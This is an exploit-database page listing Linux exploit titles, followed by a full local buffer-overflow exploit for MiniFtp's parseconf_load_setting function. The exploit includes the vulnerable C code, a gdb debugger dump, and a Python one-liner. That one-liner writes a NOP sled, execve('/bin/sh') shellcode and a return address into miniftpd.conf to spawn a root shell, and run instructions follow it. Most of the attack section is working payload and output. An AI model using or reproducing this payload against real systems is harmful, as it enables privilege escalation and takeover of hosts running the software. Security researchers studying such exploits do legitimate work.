Menu

Improved exploit search engine. Try it out

"MiniFtp - 'parseconf_load_setting' Buffer Overflow"

Author

strider

Platform

linux

Release date

2019-05-08

Release Date Title Type Platform Author
2019-05-08 "NetNumber Titan ENUM/DNS/NP 7.9.1 - Path Traversal / Authorization Bypass" webapps linux MobileNetworkSecurity
2019-05-08 "MiniFtp - 'parseconf_load_setting' Buffer Overflow" local linux strider
2019-05-03 "Blue Angel Software Suite - Command Execution" remote linux "Paolo Serracino_ Pietro Minniti_ Damiano Proietti"
2019-05-02 "Ruby On Rails - DoubleTap Development Mode secret_key_base Remote Code Execution (Metasploit)" remote linux Metasploit
2019-05-01 "CentOS Web Panel 0.9.8.793 (Free) / v0.9.8.753 (Pro) / 0.9.8.807 (Pro) - Domain Field (Add DNS Zone) Cross-Site Scripting" webapps linux DKM
2019-04-30 "Linux - Missing Locking Between ELF coredump code and userfaultfd VMA Modification" dos linux "Google Security Research"
2019-04-26 "systemd - DynamicUser can Create setuid Binaries when Assisted by Another Process" dos linux "Google Security Research"
2019-04-23 "Linux - 'page->_refcount' Overflow via FUSE" dos linux "Google Security Research"
2019-04-23 "Linux - Missing Locking in Siemens R3964 Line Discipline Race Condition" dos linux "Google Security Research"
2019-04-23 "systemd - Lack of Seat Verification in PAM Module Permits Spoofing Active Session to polkit" dos linux "Google Security Research"
2019-04-19 "SystemTap 1.3 - MODPROBE_OPTIONS Privilege Escalation (Metasploit)" local linux Metasploit
2019-04-12 "Zimbra Collaboration - Autodiscover Servlet XXE and ProxyServlet SSRF (Metasploit)" remote linux Metasploit
2019-04-08 "CentOS Web Panel 0.9.8.793 (Free) / 0.9.8.753 (Pro) - Cross-Site Scripting" webapps linux DKM
2019-04-08 "Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation" local linux cfreal
2019-03-29 "CentOS Web Panel 0.9.8.789 - NameServer Field Persistent Cross-Site Scripting" webapps linux DKM
2019-03-28 "gnutls 3.6.6 - 'verify_crt()' Use-After-Free" dos linux "Google Security Research"
2019-03-22 "snap - seccomp BBlacklist for TIOCSTI can be Circumvented" dos linux "Google Security Research"
2019-03-19 "libseccomp < 2.4.0 - Incorrect Compilation of Arithmetic Comparisons" dos linux "Google Security Research"
2019-03-11 "Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Pointer Leak" dos linux wally0813
2019-03-07 "Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)" remote linux Metasploit
2019-03-06 "Linux < 4.20.14 - Virtual Address 0 is Mappable via Privileged write() to /proc/*/mem" dos linux "Google Security Research"
2019-03-04 "FileZilla 3.40.0 - 'Local search' / 'Local site' Denial of Service (PoC)" dos linux "Mr Winst0n"
2019-03-01 "Linux < 4.14.103 / < 4.19.25 - Out-of-Bounds Read and Write in SNMP NAT Module" dos linux "Google Security Research"
2019-02-28 "Usermin 1.750 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-02-28 "WebKitGTK 2.23.90 / WebKitGTK+ 2.22.6 - Denial of Service" dos linux "Dhiraj Mishra"
2019-02-22 "Micro Focus Filr 3.4.0.217 - Path Traversal / Local Privilege Escalation" webapps linux SecureAuth
2019-02-20 "MatrixSSL < 4.0.2 - Stack Buffer Overflow Verifying x.509 Certificates" dos linux "Google Security Research"
2019-02-21 "Valentina Studio 9.0.5 Linux - 'Host' Buffer Overflow (PoC)" dos linux "Alejandra Sánchez"
2019-02-13 "runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (2)" local linux embargo
2019-02-15 "Linux - 'kvm_ioctl_create_device()' NULL Pointer Dereference" dos linux "Google Security Research"
Release Date Title Type Platform Author
2019-05-08 "MiniFtp - 'parseconf_load_setting' Buffer Overflow" local linux strider
2018-11-26 "MariaDB Client 10.1.26 - Denial of Service (PoC)" dos linux strider
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46807/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46807/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46807/41241/miniftp-parseconf_load_setting-buffer-overflow/download/", "exploit_id": "46807", "exploit_description": "\"MiniFtp - 'parseconf_load_setting' Buffer Overflow\"", "exploit_date": "2019-05-08", "exploit_author": "strider", "exploit_type": "local", "exploit_platform": "linux", "exploit_port": null}
                                            

For full documentation follow the link above

Browse exploit DB API Browse

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# Exploit Title: MiniFtp parseconf_load_setting local-bufferoverflow (318 bytes)
# Google Dork: None
# Date: 11.04.2019
# Exploit Author: strider
# Vendor Homepage: https://github.com/skyqinsc/MiniFtp
# Software Link: https://github.com/skyqinsc/MiniFtp
# Tested on: Debian 9 Stretch i386/ Kali Linux i386
# CVE : None
# Shellcode Length: 318
------------------------------[Description]---------------------------------

This exploit spawns a shell with root privileges. The exploit will be written into the file miniftpd.conf

vuln code:
void parseconf_load_setting(const char *setting){
while(isspace(*setting)) setting++;
	char key[128] = {0}, value[128] = {0};
	str_split(setting, key, value, '=');
	if(strlen(value) == 0){
		fprintf(stderr, "missing value in config file for : %s\n", key);
		exit(EXIT_FAILURE);
	}
....

The given var settings is a *char and will be splitted into key and value key and value are both 128 char long and settings can be longer than 128 + 128 chars. this issue will not be checked and stored. This causes a buffer overflow.

after return it 

-----------------------------[Gdb-Peda Dump]---------------------------------
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x48575250e7894851 
RCX: 0xffffffd480050f3b 
RDX: 0x90 
RSI: 0x7fffffffd3a0 --> 0x9090909090909090 
RDI: 0x55555555c854 ("download_max_rate")
RBP: 0x50f3bc08348e689 
RSP: 0x7fffffffd460 --> 0x555555556860 (<_start>:	xor    ebp,ebp)
RIP: 0x7fffffffd481 --> 0x9090909090909090 
R8 : 0xa ('\n')
R9 : 0x7fffffffd4a0 --> 0x9090909090909090 
R10: 0x83a 
R11: 0x7ffff7891520 (<__strcmp_sse2_unaligned>:	mov    eax,edi)
R12: 0x555555556860 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe200 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7fffffffd478:	imul   esi,DWORD PTR [rax+0x3d],0x90909090
   0x7fffffffd47f:	nop
   0x7fffffffd480:	nop
=> 0x7fffffffd481:	nop
   0x7fffffffd482:	nop
   0x7fffffffd483:	nop
   0x7fffffffd484:	nop
   0x7fffffffd485:	nop
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd460 --> 0x555555556860 (<_start>:	xor    ebp,ebp)
0008| 0x7fffffffd468 --> 0x55555555b5b2 ("miniftpd.conf")
0016| 0x7fffffffd470 ("max_per_ip=", '\220' <repeats 189 times>...)
0024| 0x7fffffffd478 --> 0x90909090903d7069 
0032| 0x7fffffffd480 --> 0x9090909090909090 
0040| 0x7fffffffd488 --> 0x9090909090909090 
0048| 0x7fffffffd490 --> 0x9090909090909090 
0056| 0x7fffffffd498 --> 0x9090909090909090 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00007fffffffd481 in ?? ()
gdb-peda$ 


 -----------------------------[Exploit]---------------------------------------------

python -c "print 'max_per_ip=' + '\x90' * 278 + '\x48\x31\xc0\x48\x31\xd2\x50\x49\xb9\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x41\x51\x48\x89\xe7\x50\x52\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05' + '\x80\xd4\xff\xff\xff\x7f'" > miniftpd.conf


 -----------------------------[how to run]-----------------------------

run the line above in a shell

run MiniFtp in gdb and you got a shell